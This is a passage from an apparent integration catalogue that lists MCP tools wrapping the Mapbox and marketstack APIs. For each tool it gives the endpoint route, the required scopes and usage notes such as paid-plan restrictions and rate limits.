specific processing stage: `processing`, `queued`, `success`, `failed`, or `superseded`. This endpoint supports pagination. via GET /tilesets/v1/{tileset_id}/jobs GET /api/v1/mapbox/tilesets/v1/{tileset_id}/jobs. Scopes: tilesets:list. mapbox_get_tilesets_v1_by_tileset_id_jobs_by_job_id (read) — Retrieve information about a single job associated with a tileset, based on its unique job ID. via GET /tilesets/v1/{tileset_id}/jobs/{job_id} GET /api/v1/mapbox/tilesets/v1/{tileset_id}/jobs/{job_id}. Scopes: tilesets:read. mapbox_get_tilesets_v1_by_tileset_id_recipe (read) — Request the recipe body that you used when you created a specific tileset. via GET /tilesets/v1/{tileset_id}/recipe GET /api/v1/mapbox/tilesets/v1/{tileset_id}/recipe. Scopes: tilesets:list. mapbox_get_tilesets_v1_changesets (read) — List all the changesets that belong to an account. This endpoint supports pagination. via GET /tilesets/v1/changesets/{username} GET /api/v1/mapbox/tilesets/v1/changesets. Scopes: tilesets:list. mapbox_get_tilesets_v1_sources (read) — List all the tileset sources that belong to an account. This endpoint supports pagination. via GET /tilesets/v1/sources/{username} GET /api/v1/mapbox/tilesets/v1/sources. Scopes: tilesets:list. mapbox_get_tilesets_v1_sources_by_id (read) — Get information for a specific tileset source, including the number and total size of the files in the tileset source. via GET /tilesets/v1/sources/{username}/{id} GET /api/v1/mapbox/tilesets/v1/sources/{id}. Scopes: tilesets:read. mapbox_get_tokens_v2 (read) — List all the tokens that belong to an account. This endpoint supports pagination. via GET /tokens/v2/{username} GET /api/v1/mapbox/tokens/v2. Scopes: tokens:read. mapbox_get_tokens_v2_check (read) — Retrieve an access token and check whether it is valid. If the token is invalid, an explanation is returned as the `code` property in the response body. via GET /tokens/v2 GET /api/v1/mapbox/tokens/v2/check. Scopes: api. mapbox_get_uploads_v1 (read) — Retrieve multiple upload statuses at the same time, sorted by the most recently created. This endpoint supports pagination so that you can list many uploads. via GET /uploads/v1/{username} GET /api/v1/mapbox/uploads/v1. Scopes: uploads:list. mapbox_get_uploads_v1_by_upload_id (read) — Once an upload is created, you can track its status. Uploads have a `progress` property that start at `0` and end at `1` when an upload is complete. If there's an error processing an upload, the `error` property will include an error message. via GET /uploads/v1/{username}/{upload_id} GET /api/v1/mapbox/uploads/v1/{upload_id}. Scopes: uploads:read. mapbox_get_user_feedback_v1_feedback (read) — This endpoint returns a list of user feedback items associated with your organization's account, with options to filter, sort, and paginate the results. It's designed to power both interactive applications like the Feedback Explorer and automated data pipelines. Note: Polling for updates To periodically pull new or updated feedback into your own systems, we recommend polling this endpoint. You can track the latest updates by querying with `sort_by=updated_at&order=asc` and using the `after` parameter with the `end_cursor` from the last response. Repeat the request until you receive an empty `items` array. via GET /user-feedback/v1/feedback GET /api/v1/mapbox/user-feedback/v1/feedback. Scopes: api. mapbox_get_user_feedback_v1_feedback_by_feedback_id (read) — This endpoint retrieves a single feedback item by its unique ID. The response is a single feedback item object. via GET /user-feedback/v1/feedback/{feedback_id} GET /api/v1/mapbox/user-feedback/v1/feedback/{feedback_id}. Scopes: api. mapbox_get_v4_by_tileset_id_by_zoom_by_x_by_y_2x_by_format (read) — Retrieve raster tiles via GET /v4/{tileset_id}/{zoom}/{x}/{y}{@2x}.{format} GET /api/v1/mapbox/v4/{tileset_id}/{zoom}/{x}/{y}@2x.{format}. Scopes: api. mapbox_get_v4_by_tileset_id_by_zoom_by_x_by_y_by_format (read) — Retrieve vector tiles via GET /v4/{tileset_id}/{zoom}/{x}/{y}.{format} GET /api/v1/mapbox/v4/{tileset_id}/{zoom}/{x}/{y}.{format}. Scopes: api. mapbox_get_v4_by_tileset_id_json (read) — Given a valid Mapbox tileset ID, returns TileJSON metadata for that tileset. via GET /v4/{tileset_id}.json GET /api/v1/mapbox/v4/{tileset_id}.json. Scopes: api. mapbox_get_v4_by_tileset_id_tilequery_by_lon_by_lat_json (read) — Use this endpoint to retrieve features a tileset. via GET /v4/{tileset_id}/tilequery/{lon},{lat}.json GET /api/v1/mapbox/v4/{tileset_id}/tilequery/{lon},{lat}.json. Scopes: api. mapbox_patch_datasets_v1_by_dataset_id (write) — Update the properties of a specific dataset. The request body must be valid JSON. This endpoint is used to change the `name` and `description` of the dataset object. To add features to a dataset or edit existing dataset features, use the Insert or update a feature endpoint. via PATCH /datasets/v1/{username}/{dataset_id} PATCH /api/v1/mapbox/datasets/v1/{dataset_id}. Scopes: datasets:write. mapbox_patch_fonts_v1_by_font_metadata (write) — Update the `visibility` property of font metadata. Although the metadata contains a few properties, only `visibility` can be changed. The only valid values for `visibility` are `public` and `private`. via PATCH /fonts/v1/{username}/{font}/metadata PATCH /api/v1/mapbox/fonts/v1/{font}/metadata. Scopes: fonts:write. mapbox_patch_styles_v1_by_style_id (write) — Updates an existing style in your account with new content. The request body must be a style object that conforms to the rules outlined in the style object section of this documentation. Invalid styles will produce a descriptive validation error. Additionally, when you update a style using the Styles API: - The `name` property, which is optional for creating a style, is required in the request body to update a style. - If you request a style and then use the unaltered response to update the style, this action will fail. You must remove the `created` and `modified` properties before updating a style. - The `glyphs` field will be overwritten to point to your user glyph endpoint, unless it's referring to the Mapbox glyph endpoint, `mapbox://fonts/mapbox/{fontstack}/{range}.pbf`. - If the `sprite` field does not include your username, and the sprite field points to the sprite of a style that either belongs to `mapbox` or is public, the Styles API will copy all images to the updated style's spritesheet and overwrite the `sprite` value to point to the updated style's sprite. Cross-version `PATCH` requests are rejected. via PATCH /styles/v1/{username}/{style_id} PATCH /api/v1/mapbox/styles/v1/{style_id}. Scopes: styles:write. mapbox_patch_tilesets_v1_by_tileset_id (write) — Update a tileset's information such as name, description, and privacy settings. This is not the endpoint for updating a tileset's recipe, sources, or tiles. via PATCH /tilesets/v1/{tileset_id} PATCH /api/v1/mapbox/tilesets/v1/{tileset_id}. Scopes: tilesets:write. mapbox_patch_tilesets_v1_by_tileset_id_recipe (write) — Update a tileset's recipe. This endpoint does a validation step on the new recipe. via PATCH /tilesets/v1/{tileset_id}/recipe PATCH /api/v1/mapbox/tilesets/v1/{tileset_id}/recipe. Scopes: tilesets:write. mapbox_patch_tokens_v2_by_token_id (write) — Update the `note`, the `scopes`, the `allowedUrls`, or all three in a token's metadata. When updating scopes for an existing token, the token sent along with the request must also have the scopes you're requesting. It is not possible to create a token with access to more scopes than the token that updated it. via PATCH /tokens/v2/{username}/{token_id} PATCH /api/v1/mapbox/tokens/v2/{token_id}. Scopes: tokens:write. mapbox_post_datasets_v1 (write) — Create a new, empty dataset. via POST /datasets/v1/{username} POST /api/v1/mapbox/datasets/v1. Scopes: datasets:write. mapbox_post_optimized_trips_v2 (write) — To submit a routing problem, make a HTTP POST request with a `Content-Type` of `application/json`, and submit the routing problem document JSON as the POST body. via POST /optimized-trips/v2 POST /api/v1/mapbox/optimized-trips/v2. Scopes: api. mapbox_post_places_v1_details_retrieve (read) — Returns Place records for a batch of up to 100 `mapbox_id` values in a single request. via POST /places/v1/details/retrieve POST /api/v1/mapbox/places/v1/details/retrieve. Scopes: api. mapbox_post_search_geocode_v6_batch (read) — The batch geocoding query type allows you to request up to 1000 forward or reverse geocoding queries in a single request. Batch geocoding requests are formatted as a JSON object passed as the `BODY` of the request, but with multiple search queries one after another. Fields which were defined as query parameters in the URL string will become fields in the JSON object. Fields specifying multiple values (for example `types`, `country`, `bbox`, `proximity`) can be passed either as a comma-separated strings or as JSON-formatted arrays (for example a types filter value could be represented as `"address,street,place"` or `["address", "street", "place"]`). In a single batch geocoding request, you can bundle queries of different types, including forward queries, forward Structure Input queries, and reverse queries. Each query can also has parameters defined individually -- for example one query could have IP proximity set to on while the rest have it off. Note: Billing for batch geocoding requests Each individual search in a batch geocoding request counts as one request. You can make a *batch geocoding request* by using an `HTTP POST` request with the following body structure: via POST /search/geocode/v6/batch POST /api/v1/mapbox/search/geocode/v6/batch. Scopes: api. mapbox_post_styles_v1 (write) — Creates a style in your account. The posted style object must conform to the rules outlined in the style object section of this documentation. Invalid styles will produce a descriptive validation error. Additionally, when you create a style using the Styles API: - The `glyphs` field will be overwritten to point to your user glyph endpoint, unless it's referring to the Mapbox glyph endpoint, `mapbox://fonts/mapbox/{fontstack}/{range}.pbf`. - If the `sprite` field does not include your username, and the sprite field points to the sprite of a style that either belongs to `mapbox` or is public, the Styles API will copy all images to the new style's spritesheet and overwrite the `sprite` value to point to the new style's sprite. - If the optional `name` property is not used in the request body, the `name` of the new style will be automatically set to the style's ID. via POST /styles/v1/{username} POST /api/v1/mapbox/styles/v1. Scopes: styles:write. mapbox_post_styles_v1_by_style_id_sprite (write) — Add a batch of new images to an existing sprite in a Mapbox style. The request body must be multipart form data that uses the form field name `images` to reference the SVG image files. A request can contain a maximum of 25 image files. Each individual image file in a request must be under 30 KB. via POST /styles/v1/{username}/{style_id}/sprite POST /api/v1/mapbox/styles/v1/{style_id}/sprite. Scopes: styles:write. mapbox_post_tilesets_v1_by_tileset_id (write) — Note: Prerequisites for creating a new tileset *Before you can create a new tileset, you need to create a tileset source and write a tileset recipe.* The tileset recipe defines how to transform the data in the tileset source into vector tiles. Create a new tileset. via POST /tilesets/v1/{tileset_id} POST /api/v1/mapbox/tilesets/v1/{tileset_id}. Scopes: tilesets:write. mapbox_post_tilesets_v1_by_tileset_id_publish (write) — Once you've created a tileset, you can request that the data be published into vector tiles. This action will start an asynchronous process known as a job that retrieves your data and processes it into vector tiles according to the recipe you have defined. This endpoint can also be used to *update* an existing tileset or to *reset* a tileset enabled for incremental updates. Note that due to tile caching, when updating an existing tileset new tiles will only become visible as the cached versions of those tiles expire. A given tileset can only have one active processing publish job at a time. This ensures the data you have staged is processed before any future data you have staged is processed. If your tileset has an active publish request being processed, all later publish requests will be queued to run in the order they were received. You can only have five jobs in the queue per account. All jobs are entered into a global Mapbox queue. The larger the queue, the longer it will take your tileset to process. For instructions on how to see the size of the queue, see the View the global queue section. The size of a single vector tile is limited to 500 KB. If a job drops features due to tile size, this will be noted in the `warnings` field of the job object. via POST /tilesets/v1/{tileset_id}/publish POST /api/v1/mapbox/tilesets/v1/{tileset_id}/publish. Scopes: tilesets:write. mapbox_post_tilesets_v1_by_tileset_id_publish_changesets (write) — Once you have enabled incremental updates on a tileset, you can request that the changeset be published into vector tiles. This action will start an asynchronous process known as a job that retrieves your data and processes it into vector tiles according to the recipe you have defined. This endpoint is the only way to incrementally update a tileset. The tileset recipe must be unchanged since the initial publish or reset job. Note that due to tile caching, when updating an existing tileset new tiles will only become visible as the cached versions of those tiles expire. A given tileset can only have one active processing publish job at a time. This ensures the data you have staged is processed before any future data you have staged is processed. If your tileset has an active publish request being processed, all later publish requests will be queued to run in the order they were received. You can only have five jobs in the queue per account. All jobs are entered into a global Mapbox queue. The larger the queue, the longer it will take your tileset to process. For instructions on how to see the size of the queue, see the View the global queue section. The size of a single vector tile is limited to 500 KB. If a job drops features due to tile size, this will be noted in the `warnings` field of the job object. via POST /tilesets/v1/{tileset_id}/publish-changesets POST /api/v1/mapbox/tilesets/v1/{tileset_id}/publish-changesets. Scopes: tilesets:write. mapbox_post_tokens_v2 (write) — Creates a new token. Every requested scope must be present in the access token used to allow the request. It is not possible to create a token with access to more scopes than the token that created it. To create additional tokens using the Mapbox Tokens API, you need to have an authorizing token that has the `tokens:write` scope, as well as all the scopes you want to add to the newly created token. To create the authorization token, visit the Access Token page in your account, and click Create a token. Note that while it is possible to create a token with no scopes, you will not be able to update this token later to include any scopes. via POST /tokens/v2/{username} POST /api/v1/mapbox/tokens/v2. Scopes: tokens:write. mapbox_post_uploads_v1 (write) — Uploads can be created from a file staged on Mapbox's S3 bucket, or from an existing Mapbox dataset. After you have used the temporary S3 credentials to transfer your file to Mapbox's staging bucket, you can trigger the generation of a tileset using the file's URL and a destination tileset ID. Uploaded files *must* be in the bucket provided by Mapbox. Requests for resources from other S3 buckets or URLs will fail. Note: You can only replace existing tilesets created with the Uploads API with this endpoint. You cannot replace a tileset created with Mapbox Tiling Service (MTS) with a tileset created with the Uploads API. via POST /uploads/v1/{username} POST /api/v1/mapbox/uploads/v1. Scopes: uploads:write. mapbox_post_uploads_v1_credentials (write) — Mapbox provides an Amazon S3 bucket to stage your file while your upload is processed. This endpoint allows you to retrieve temporary S3 credentials to use during the staging process. Note: This step is necessary before you can stage a file in the Amazon S3 bucket provided by Mapbox. All uploads must be staged in this Amazon S3 bucket before being uploaded to your Mapbox account. To learn more about how to stage an upload to Amazon S3, read the Upload to Mapbox using cURL tutorial. via POST /uploads/v1/{username}/credentials POST /api/v1/mapbox/uploads/v1/credentials. Scopes: uploads:write. mapbox_post_user_feedback_v1_feedback (write) — This endpoint creates a single feedback item with its unique ID assigned automatically. The response is a single feedback item object. via POST /user-feedback/v1/feedback POST /api/v1/mapbox/user-feedback/v1/feedback. Scopes: api. mapbox_put_datasets_v1_by_dataset_id_features_by_feature_id (write) — Insert or update a feature in a specified dataset: - Insert: If a feature with the given `feature_id` does not already exist, a new feature will be created. - Update: If a feature with the given `feature_id` already exists, it will be replaced. If you are inserting a feature into a dataset, you must add the feature as the body of the `PUT` request. This should be one individual GeoJSON feature, not a GeoJSON FeatureCollection. If the GeoJSON feature has a top-level `id` property, it must match the `feature_id` you use in the URL endpoint. via PUT /datasets/v1/{username}/{dataset_id}/features/{feature_id} PUT /api/v1/mapbox/datasets/v1/{dataset_id}/features/{feature_id}. Scopes: datasets:write. mapbox_put_styles_v1_by_style_id_protected (write) — Note Access to this endpoint is available upon request. To request that access be enabled for your account, contact Mapbox support. Updates the protected status of a style. The request body must be a plain text string either `true` or `false`. Changing the status is only valid for styles without an active draft (which has a `modified` field ahead of the published version). This update will not change the style's `modified` field or sprite hashes. Protected styles cannot be edited and deleted using the Styles API or in Mapbox Studio. via PUT /styles/v1/{username}/{style_id}/protected PUT /api/v1/mapbox/styles/v1/{style_id}/protected. Scopes: styles:protect. mapbox_put_styles_v1_by_style_id_sprite_by_icon_name (write) — Add a new image to an existing sprite in a Mapbox style. The request body should be raw SVG data. via PUT /styles/v1/{username}/{style_id}/sprite/{icon_name} PUT /api/v1/mapbox/styles/v1/{style_id}/sprite/{icon_name}. Scopes: styles:write. mapbox_put_tilesets_v1_queue (read) — View the number of queued jobs in the global queue, which shows the number of jobs waiting to be processed. via PUT /tilesets/v1/queue PUT /api/v1/mapbox/tilesets/v1/queue. Scopes: tilesets:read. mapbox_put_tilesets_v1_validaterecipe (read) — Validate a recipe document before using it to create a new tileset. The entire request body must be the recipe JSON document, which is the `recipe` part of the request body property of a tileset creation request. For guidance on how to format a recipe, see the Recipe reference. You can control the behavior of this endpoint with the following optional parameter: via PUT /tilesets/v1/validateRecipe PUT /api/v1/mapbox/tilesets/v1/validateRecipe. Scopes: tilesets:write. ================================================================================ ## marketstack URL: https://www.agenticfabriq.com/integrations/marketstack Section: Integrated Tools marketstack — 46 MCP tools Provider key: marketstack. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. marketstack_get_v2_bond (read) — Current and historical detail for a country's benchmark government bond -- primarily 10-year treasury notes: coupon rate, maturity date and yield. `country` is REQUIRED. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers bond data. GET /api/v1/marketstack/v2/bond. Scopes: api. marketstack_get_v2_bondlist (read) — Government bonds in the marketstack database, optionally filtered by country of issuance, with coupon rate, maturity date and yield. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers bond data. GET /api/v1/marketstack/v2/bondlist. Scopes: api. marketstack_get_v2_cik_code (read) — Find SEC Central Index Keys by company name or a fragment of one (three letters minimum): searching `APP` returns every company whose name contains it. This is the entry point to the SEC endpoints -- everything else there takes a CIK. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers SEC company fundamentals. GET /api/v1/marketstack/v2/cik_code. Scopes: api. marketstack_get_v2_commodities (read) — The current price of one of 70+ energy, metal, industrial, agricultural and livestock commodities. `commodity_name` is REQUIRED (for example `aluminum`). Rate-limited by marketstack to ONE call per minute independently of any plan quota. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers commodity data. GET /api/v1/marketstack/v2/commodities. Scopes: api. marketstack_get_v2_commoditieshistory (read) — Historical prices for one commodity over a date range, at daily, weekly, monthly, quarterly or yearly `frequency`. `commodity_name` is REQUIRED. Rate-limited to ONE call per minute independently of any plan quota. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers commodity data. GET /api/v1/marketstack/v2/commoditieshistory. Scopes: api. marketstack_get_v2_company_facts (read) — The full set of XBRL financial facts a company has reported to the SEC, by CIK code, across the US-GAAP, IFRS and DEI taxonomies with historical values per filing period. The raw material for fundamental analysis. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers SEC company fundamentals. GET /api/v1/marketstack/v2/company_facts. Scopes: api. marketstack_get_v2_company_name (read) — Resolve an SEC Central Index Key to the company's name. The CIK must be the full 10 digits INCLUDING leading zeros -- marketstack validates the format and refuses a short one rather than padding it. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers SEC company fundamentals. GET /api/v1/marketstack/v2/company_name. Scopes: api. marketstack_get_v2_companyratings (read) — Analyst buy/sell/hold ratings and consensus price targets for one ticker, with 15+ years of history. Filter by `rated` and by date range. Rate-limited by marketstack to ONE call per minute independently of any plan quota. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers analyst ratings. GET /api/v1/marketstack/v2/companyratings. Scopes: api. marketstack_get_v2_concept_accounts_payable (read) — Every SEC disclosure of the US-GAAP accounts-payable-current concept for one company, by CIK code, grouped by unit of measure and carrying the filing period, form type and reported value. One metric across a company's whole filing history. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers SEC company fundamentals. GET /api/v1/marketstack/v2/concept/accounts_payable. Scopes: api. marketstack_get_v2_currencies (read) — The currencies marketstack quotes prices in, each with its ISO code, name and symbol. Reference data for reading a price record's `price_currency`; takes no filter beyond paging. GET /api/v1/marketstack/v2/currencies. Scopes: api. marketstack_get_v2_dividends (read) — Dividend history for one or more symbols in a single call: amount, ex-date, record date, payment date, declaration date and frequency. `symbols` is REQUIRED. Coverage is NASDAQ, NYSE, NYSE ARCA, PINK, SHG, OTCQB and BATS. GET /api/v1/marketstack/v2/dividends. Scopes: api. marketstack_get_v2_eod (read) — End-of-day OHLCV across exchanges for one or more symbols -- the general-purpose price read, and the one to reach for first. `symbols` is REQUIRED and is a comma-separated list (`AAPL,MSFT`). Optionally pin an exchange by MIC, bound the window with `date_from`/`date_to`, and page with `limit`/`offset`. Each record carries raw and split/dividend-adjusted values plus the split factor and dividend for that day. GET /api/v1/marketstack/v2/eod. Scopes: api. marketstack_get_v2_eod_by_date (read) — End-of-day records for the requested symbols on a SINGLE date, as YYYY-MM-DD or full ISO-8601. A weekend or market holiday returns no data. `symbols` is REQUIRED. GET /api/v1/marketstack/v2/eod/{date}. Scopes: api. marketstack_get_v2_eod_latest (read) — The most recent end-of-day record for each requested symbol, for the last available trading day. `symbols` is REQUIRED. GET /api/v1/marketstack/v2/eod/latest. Scopes: api. marketstack_get_v2_etfholdings (read) — The constituent breakdown of one ETF by ticker -- each holding's name, weight and share count -- optionally over a date range to track composition drift. `ticker` is REQUIRED. QUOTA WARNING: ETF calls cost 20x against the request allowance. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers ETF data. GET /api/v1/marketstack/v2/etfholdings. Scopes: api. marketstack_get_v2_etflist (read) — The exchange-traded funds in the marketstack database, with name, symbol and exchange. QUOTA WARNING: marketstack charges ETF calls at a 20x multiplier against the account's request allowance -- one call spends twenty. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers ETF data. GET /api/v1/marketstack/v2/etflist. Scopes: api. marketstack_get_v2_exchanges (read) — List the 2,800+ stock exchanges marketstack covers, each with its ISO 10383 MIC, operating MIC, acronym, city, country, website, legal entity name, LEI and operating status. START HERE when a call needs a `mic`: this is where one comes from. Use `search` for autocomplete-style lookups. Being listed here does NOT mean price data exists for an exchange's instruments -- check each ticker's `has_eod` and `has_intraday` flags for that. GET /api/v1/marketstack/v2/exchanges. Scopes: api. marketstack_get_v2_exchanges_by_mic (read) — Read one exchange by its ISO 10383 MIC (`XNAS` for NASDAQ, `XNYS` for NYSE): full legal name, LEI, market category code, operating status, country and city. A MIC that does not exist answers 404 with the message "Not Found" -- which is a different failure from an unmounted route, whose message is "Route not found". GET /api/v1/marketstack/v2/exchanges/{mic}. Scopes: api. marketstack_get_v2_exchanges_by_mic_eod (read) — End-of-day OHLCV for named tickers on one exchange, with both raw and split/dividend-adjusted values. `symbols` is REQUIRED and is a comma-separated list. Narrow with `date_from`/`date_to`; `sort` controls ordering (newest first by default). Paginated -- `limit` defaults to 100 and caps at 1,000. GET /api/v1/marketstack/v2/exchanges/{mic}/eod. Scopes: api. marketstack_get_v2_exchanges_by_mic_eod_by_date (read) — End-of-day records for named tickers on one exchange for a SINGLE date, as YYYY-MM-DD or full ISO-8601. A weekend or market holiday returns no data rather than an error -- ask for the nearest prior trading day instead. `symbols` is REQUIRED. GET /api/v1/marketstack/v2/exchanges/{mic}/eod/{date}. Scopes: api. marketstack_get_v2_exchanges_by_mic_eod_latest (read) — The most recent end-of-day record for each named ticker on one exchange -- the last available trading day, with no date arithmetic. Equivalent to the dated form with no range. `symbols` is REQUIRED. GET /api/v1/marketstack/v2/exchanges/{mic}/eod/latest. Scopes: api. marketstack_get_v2_exchanges_by_mic_intraday (read) — Intraday bars for named tickers on one exchange at intervals from 1 minute to 24 hours, with OHLC, volume and bid/ask. `after_hours` includes pre-market and post-close trading. `symbols` is REQUIRED. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers intraday data. GET /api/v1/marketstack/v2/exchanges/{mic}/intraday. Scopes: api. marketstack_get_v2_exchanges_by_mic_intraday_by_date (read) — Intraday bars for named tickers on one exchange for a SINGLE date, at the configured interval. A weekend or market holiday returns no data. `symbols` is REQUIRED. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers intraday data. GET /api/v1/marketstack/v2/exchanges/{mic}/intraday/{date}. Scopes: api. marketstack_get_v2_exchanges_by_mic_intraday_latest (read) — The most recent intraday bar for each named ticker on one exchange, at the configured interval. `symbols` is REQUIRED. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers intraday data. GET /api/v1/marketstack/v2/exchanges/{mic}/intraday/latest. Scopes: api. marketstack_get_v2_exchanges_by_mic_tickers (read) — The instruments listed on one exchange, each with its symbol, name and the `has_eod`/`has_intraday` flags that say what price data actually exists for it. Use `search` to filter by name or symbol. Note the response shape: the tickers arrive under a `tickers` member INSIDE the exchange object, not as a bare list. GET /api/v1/marketstack/v2/exchanges/{mic}/tickers. Scopes: api. marketstack_get_v2_frames_accounts_payable_by_unit (read) — The SEC frames view of US-GAAP accounts-payable-current: one fact per reporting entity for the requested calendrical period, so companies can be compared against each other rather than against their own history. `frame` is REQUIRED (for example `CY2023Q1I`) and the path carries the unit of measure (for example `USD`). PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers SEC company fundamentals. GET /api/v1/marketstack/v2/frames/accounts_payable/{unit}. Scopes: api. marketstack_get_v2_indexinfo (read) — Detail for one market index by its identifier: name, symbol, exchange, component count and current value. Get the identifier from the index list first. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers market index data. GET /api/v1/marketstack/v2/indexinfo. Scopes: api. marketstack_get_v2_indexlist (read) — The market indices marketstack covers -- S&P 500, Dow Jones, NASDAQ Composite and the rest -- with name, symbol, exchange and current value. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers market index data. GET /api/v1/marketstack/v2/indexlist. Scopes: api. marketstack_get_v2_intraday (read) — Intraday bars across exchanges for the requested symbols, at intervals from 1 minute to 24 hours. `after_hours` includes pre-market and post-close trades (US equity markets close at 16:00 ET). Intervals under 15 minutes need a Professional plan or higher. `symbols` is REQUIRED. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers intraday data. GET /api/v1/marketstack/v2/intraday. Scopes: api. marketstack_get_v2_intraday_by_date (read) — Intraday bars for the requested symbols on a SINGLE date, at the configured interval. `symbols` is REQUIRED. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers intraday data. GET /api/v1/marketstack/v2/intraday/{date}. Scopes: api. marketstack_get_v2_intraday_latest (read) — The most recent intraday bar for each requested symbol. `symbols` is REQUIRED. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers intraday data. GET /api/v1/marketstack/v2/intraday/latest. Scopes: api. marketstack_get_v2_splits (read) — Share-split history for one or more symbols in a single call, with the split factor and effective date. `symbols` is REQUIRED. Coverage is NASDAQ, NYSE, NYSE ARCA, PINK, SHG, OTCQB and BATS. GET /api/v1/marketstack/v2/splits. Scopes: api. marketstack_get_v2_stockprice (read) — A live price snapshot for one ticker across major world exchanges -- current bid, ask, last trade and volume. This is the real-time lane; use the end-of-day or intraday reads for historical bars. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers real-time prices. GET /api/v1/marketstack/v2/stockprice. Scopes: api. marketstack_get_v2_submissions (read) — SEC filing submissions for a company, by CIK code or name: form type (10-K, 10-Q, 8-K and the rest), filing date, acceptance date and accession number. Filter by filing or report date range. PAID PLAN REQUIRED, measured rather than assumed: on the free tier this endpoint answers 403 function_access_restricted -- "Your current subscription plan does not support this API function" -- before it looks at any argument. That is an account entitlement, not a broken tool: it starts working the moment the marketstack subscription covers SEC company fundamentals. GET /api/v1/marketstack/v2/submissions. Scopes: api. marketstack_get_v2_tickerinfo (read) — Extended company detail for one ticker beyond the symbol record: sector, industry, exchange code, employee count, IPO date and named key executives. Use this for company context; use the ticker read for data-availability flags. GET /api/v1/marketstack/v2/tickerinfo. Scopes: api. marketstack_get_v2_tickers_by_symbol (read) — Read one instrument by symbol: name, its listing exchange (with MIC and country) and the `has_eod`/`has_intraday` availability flags. Call this to confirm a symbol exists and that the data you want is published for it BEFORE spending requests on a price endpoint. An unknown symbol answers 404 with the message "Not Found" -- distinct from "Route not found", which means the endpoint itself does not exist; the status is 404 either way, so read the message. GET /api/v1/marketstack/v2/tickers/{symbol}. Scopes: api. marketstack_get_v2_tickers_by_symbol_dividends (read) — Dividend distributions for one symbol: amount in the trading currency, ex-dividend date, record date, payment date, declaration date and distribution frequency. GET 